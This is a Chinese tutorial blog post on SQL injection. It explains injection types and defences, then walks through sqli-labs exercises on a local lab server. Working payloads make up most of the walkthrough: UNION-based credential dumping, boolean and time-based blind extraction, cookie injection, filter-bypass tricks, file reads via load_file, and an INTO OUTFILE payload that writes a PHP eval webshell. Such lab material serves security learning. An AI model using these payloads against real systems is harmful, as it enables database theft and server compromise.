SQL注入
SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。
两个条件
- 参数用户可控 —— 用户能够控制数据的输入
- 构造的参数可带入数据库并且被执行 —— 原本要执行的sql语句拼接了用户的输入
SQL注入的核心:将输入语句拼接到代码中,并被当成SQL语句执行。
SQL注入点探测
一般通过页面的报错信息来确定是否存在SQL注入漏洞。
只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:
-
先加单引号
'
或双引号"
等看是否报错,如果报错就可能存在SQL注入漏洞。 -
另外在URL后面加
and 1=1
、and 1=2
看页面是否显示一致,显示不一样的话,肯定存在SQL注入漏洞。 -
还有就是 Timing Attack 测试,也就是时间盲注。
通过简单的条件语句比如
and 1=2
是无法看出异常的。在MySQL中,有一个Benchmark()
函数,它是用于测试性能的。Benchmark(count,expr)
这个函数执行的结果,是将表达式expr
执行count
次 。因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。
SQL注入的类型
按照注入点类型来分类
- 数字型注入点
类似结构 http://xxx.com/users.php?id=1
这种形式,注入点id
类型为数字。
这一类的 SQL 语句原型大概为 select * from 表名 where id=1
若存在注入,可以构造出类似与如下的sql注入语句进行注入:
select * from 表名 where id=1 and 1=1
- 字符型注入点
类似结构 http://xxx.com/users.php?name=admin
这种形式,入点 name
类型为字符类型。
这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。可以构造出类似与如下的sql注入语句进行注入:将后引号闭合
select * from 表名 where name='admin' and 1=1 '
- 搜索型注入点
在进行数据搜索时没过滤搜索参数,一般在链接地址中有 keyword='关键字'
。
此类注入点提交的 SQL 语句大致为:select * from 表名 where 字段 like '%关键字%'
若存在注入,可以构造出类似与如下的sql注入语句进行注入:
select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
按照数据提交的方式来分类:
- GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。
- POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分。
- Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
- HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。(严格讲的话,Cookie 其实应该也是算头部注入的一种形式)
按照执行效果来分类:
- 基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注
即用条件语句查看时间延迟语句是否执行(即页面返回时间是否延长)来判断。
- 基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入
可以使用 union 的情况下的注入。
- 堆查询注入
可以同时执行多条语句的执行时的注入。
- 宽字节注入
数据库编码与 php 编码设置为不同的两个编码,这样就可能会产生宽字节注入。
SQL注入的一般步骤
1. 注入点探测
手工注入:
- 可控参数的改变是否可以影响页面的显示的结果
- 输入的sql语句是否能报错:通过数据库的报错,看到数据库的一些语句痕迹
- 输入的sql语句是否不报错:语句能够成功闭合
工具注入:
- sqlmap
2.信息获取
- 环境信息:数据库类型、数据库版本、操作性系统版本、用户信息等
- 数据库信息:数据库名、数据库表、字段、字段内容
3.权限获取
- 编写webshell,上传木马,获取操作系统权限
MySQL注入常用函数
常用函数
version():查看数据库版本
database():查看使用的数据库
user():查看当前用户
limit:limit子句分批来获取所有数据
group_concat():一次性获取所有的数据库信息
concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字符串
length():返回指定对象的长度
left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
ascii():返回字符串str的最左字符的数值,ASCII()返回数值是从0到255
updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三个参数,报错位置在第二个参数(报错注入)
extractvalue(1,concat(0x7e,())):一共可以接收两个参数,报错位置在第二个参数(报错注入)
其他
information_schema.tables:包含了数据库里所有的表
table_name:表名
table_schema:数据库名
column_name:字段名
SQL注入的防御
- 采用预编译技术
例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);
使用预编译的SQL语句,SQL语句的语义不会是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给 ?
,然后将 ?
这个变量传给SQL语句。
- 严格控制数据类型
强类型语言中一般是不存在数字型注入的,因为在接受到用户输入id时,代码会做数据类型转换。但是没有强调处理数据类型的语言,一接收id的代码是如下等代码:
$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";
加入一个检查数字类型函数 is_numeric()
就可以防止数字型注入。
- 对特殊的字符进行转义
在MySQL中对 " ' "
进行转义,这样可以防止一些恶意攻击者来闭合语句。也可以通过一些安全函数来转义特殊字符,如 addslashes()
等。
- 使用存储过程
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。(尽量避免在存储过程内使用动态的sql语句)。
MySQL注入实列
字符型注入
sqli-labs靶场第一题 Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-1/
1. 注入点探测
先看页面是否有变化?
Split URL: ?id=1 and 1=1
Split URL: ?id=1 and 1=2
拼接后的sql:select * from users where id='1 and 1=2' limt 0,1
页面没有变化,也没有报错,来判断一下是否为字符型注入?
Split URL: ?id=1'
Execute: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near ''1'' LIMIT 0,1' at line 1
拼接后的sql:select * from users where id='1'' limt 0,1
发现页面报错,此题应该为字符型注入。
Split URL: ?id=1' and '1'='1
Split URL: ?id=1' --+
拼接后的sql:select * from users where id='1'and '1'='1' limt 0,1
页面回显正常,确定为字符型注入。
2. 确定当前表有几列
为什么要确定表中字段的列数呢?
因为后面的 union
联合查询,使用 order by
来确定表中的列数。
联合查询特点:要求多条查询语句的查询列数是一致的。
Split URL: Split URL: ?id=1' order by 1 --+
Split URL: Split URL: ?id=1' order by 2 --+
Split URL: Split URL: ?id=1' order by 3 --+
Split URL: Split URL: ?id=1' order by 4 --+
Split URL: Unknown column '4' in 'order clause'
拼接后的sql:select * from users where id='1' order by 4 -- limt 0,1
当 order by 4
根据第四列排序报错了,那么表中没有第四列,一共只有3列。
3. 判断那几列回显
用联合查询(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位。
Split URL: ?id=-1' union select 1,2,3 --+
Your Login name:2
Your Password:3
拼接后的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1
显示2,3, 那么2,3列回显。
4. 爆出数据库相关信息
Split URL: ?id=-1' union select 1,database(),version() --+
Your Login name:security
Your Password:5.7.26
拼接后的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1
知道了当前数据库是:security,版本信息:5.7.26。
5. 爆出当前数据库内的所有表名
Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
Your Login name:2
Your Password:emails,referers,uagents,users
拼接后的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema=database() -- limt 0,1
6. 爆出当前数据库user表的所有列名
Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
and table_schema=database() --+
Your Login name:2
Your Password:id,username,password
7. 爆出当前数据库user表所有username和password
Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --+
Your Login name:2
Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,
admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
获得了所有的账号和密码,顺利的拿到了很重要的信息。
8. 上传webshell
数字型注入
sqli-labs第二题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-2/
1. 注入点探测
Split URL: ?id=1 and 1=2 %23
没有任何显示。
拼接后的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1
Split URL: ?id=1 %23
Your Login name:Dumb
Your Password:Dumb
拼接后的sql:SELECT * FROM users WHERE id=1 # LIMIT 0,1
2. 爆出当前数据库的所有表名
Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
Your Login name:2
Your Password:emails,referers,uagents,users
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() LIMIT 0,1
3. 爆出当前数据库的users表的所有列名
Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
and table_schema=database() %23
Your Login name:2
Your Password:id,username,password
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,1
4. 爆出当前数据库usersb表的所有username和password
Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1
布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询)。页面只返回True和False两种类型页面,利用页面返回不同,逐个猜解数据。
sqli-labs第五题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-5/
1.判断注入类型
Split URL: ?id=1
You are in...........
返回页面正常。
拼接后的sql:SELECT * FROM users WHERE id='1' LIMIT 0,1
Split URL: ?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
to use near ''1'' LIMIT 0,1' at line 1
返回报错。
拼接后的sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1
判断是单引号注入。
1.判断当前数据库名的长度
Split URL: ?id=1' and length((select database()))>0 %23
You are in...........
......
Split URL: ?id=1' and length((select database()))>8 %23
(null) #发生错误了
Split URL: ?id=1' and length((select database()))=8 %23
You are in...........
试到8的时候,页面正常,那么and后面的条件为真,数据库名长度为8。
拼接后的sql:SELECT * FROM users WHERE id='1' and length((select database()))=8 #' LIMIT 0,1
2.检测当前数据库名
Split URL: ?id=1' and ascii(substr((select database()),1,1))=1 %23
(null)
BP的intruder模块经行爆破。
?id=1%27%20and%20ascii(substr((select%20database()),§1§,1))=§1§%20%23
根据响应报文的Length不同,拿到如下8位ascii码(115 101 99 117 114 105 116 121)数据库名为:security
3.检测所有表名字符长度
Split URL: ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1
%23
BP的intruder模块经行爆破。
id=1%27%20and%20length((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))
=§1§%20%23
拼接后的sql:SELECT * FROM users WHERE id='1' and length((select group_concat(table_name) from
information_schema.tables where table_schema=database()))=29 #
intruder唯有一条Length不同,payload=29,然后根据已知了长度对每一个字符进行爆破。
4.检测所有字段名的长度
得到表名后,类似于检测所有表名字符长度的操作。
5.逐一检测所有字段名
类似于检测当前数据库名。
时间盲注
时间盲注针对页面没有任何变化。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1页面不延迟。
sqli-labs第九题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-9/
1.判断注入类型
Split URL: ?id=1" and if(1=1,sleep(3),1)%23
页面不延迟
Split URL: ?id=1' and if(1=1,sleep(3),1)%23
页面延时3秒,判断出是单引号注入。
2.判断数据库名长度
Split URL: ?id=1' and if(length((select database()))=8,sleep(3),1)%23
页面延时3秒,判断出是数据库名长8。
3.逐一判断数据库名字符
Split URL: ?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)%23
页面延时3秒,判断出是数据库名的一个字符的ascii码为115,以此类推。
4.判断所有表名的长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,
sleep(3),1)%23
页面延时3秒,判断出所有表名的长度为29。
5.逐一检测所有字段名,类似于检测数据库名
?id=1' and if(ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),
1,1))>1,sleep(3),1)%23
Cookie注入
cookie注入与get注入post注入没有什么区别,只要与数据库交互的地方都有可能存在注入。
sqli-labs第二十题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-20/
使用BP抓包修改cookie字段
Cookie: uname=admin' %23
可以开始注入了,和前面的注入一样:
Cookie: uname=admin' and 0 union select 1,2,3 %23
Cookie: uname=admin' and 0 union select 1,database(),user() %23
http头部行中的某些字段也可以注入,如Referer
。
读写文件
sql注入读写文件。
读文件 load_file
http://92.168.88.1:8008/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\
sqli-labs-php7-master\\Less-1\\index.php")) %23
写文件 into outfile
http://192.168.88.1:8008/sqli-labs-php7-master/Less-7/?id=-1')) union select "<?php @eval($_POST[value])?>" into outfile
"D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\Less-1\\a.php" %23
绕过注释符过滤
sqli-labs第二十三题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-23/
Split URL: ?id=1' or 1 or'
利用报错注入
Split URL: ?id=1' or (extractvalue(1,concat(0x7e,version()))) or'
Execute: XPATH syntax error: '~5.7.26'
Split URL: ?id=1' or (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()
limit 0,1)))) or'
Execute: XPATH syntax error: '~emails'
利用union select
Split URL: ?id=-1' union select 1,2,3'
Execute: Your Login name:2
Your Password:3
Split URL: ?id=-1' union select 1,version(),database()'
Execute: Your Login name:5.7.26
Your Password:security
绕过and&or过滤
sqli-labs第二十五题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-25/
Split URL: ?id=1' || 1 %23
Execute: Your Login name:Dumb
Your Password:Dumb
Split URL: ?id=1' || (extractvalue(1,concat(0x7e,version()))) %23
Execute: XPATH syntax error: '~5.7.26'
绕过空格过滤
sqli-labs第二十六题:Load URL: http://192.168.88.1:8008/sqli-labs-php7-master/Less-26/
本题绕过了or,空格,注释
Split URL: ?id=1' || (1) ||'
Split URL: Your Login name:Dumb
Your Password:Dumb
Split URL: ?id=1' || (extractvalue(1,concat(0x7e,version()))) ||'
Execute: XPATH syntax error: '~5.7.26'
Split URL: ?id=1' || (select extractvalue(1,concat(0x7e,version()))) ||'
Split URL: FUNCTION security.selectextractvalue does not exist
空格被过滤了,可以考虑使用其他的代替
%09 tab键(水平)
%0a 新一行
%0c 新一页
%0d return 功能
%0b tab键(垂直)
%a0 空格
/**/ 代替空格
Split URL: ?id=1' || (select%a0extractvalue(1,concat(0x7e,version()))) ||'
Execute: Invalid utf8 character string: 'select\xA0extractvalue'
SQL注入工具
sqlmap
sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
文档来自:https://sqlmap.highlight.ink/
若有错误,欢迎指正!o( ̄▽ ̄)ブ
标签:name,手工,URL,Split,SQL,id,select,注入 From: https://www.cnblogs.com/smileleooo/p/18054724